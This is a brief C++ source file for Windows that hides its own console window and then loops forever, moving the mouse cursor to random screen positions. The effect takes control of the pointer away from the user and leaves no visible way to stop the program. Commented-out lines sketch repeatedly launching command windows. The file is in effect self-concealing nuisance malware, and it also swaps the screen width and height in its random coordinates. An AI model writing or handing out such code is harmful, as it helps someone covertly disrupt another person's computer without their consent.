#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
        HWND hwnd;
        hwnd=FindWindow("ConsoleWindowClass",NULL);
        if(hwnd) ShowWindow(hwnd,SW_HIDE);
        return;
}
int main() {
        HideWindow();
        int x=GetSystemMetrics(SM_CXSCREEN);  
        int y=GetSystemMetrics(SM_CYSCREEN);
        for(;;)
        {
                        //system("start cmd");
                        //for(int i=1;i<=100;i++)
                        //{
                                        SetCursorPos(rand()%y,rand()%x);
                        //}
        }
 
        return 0;
}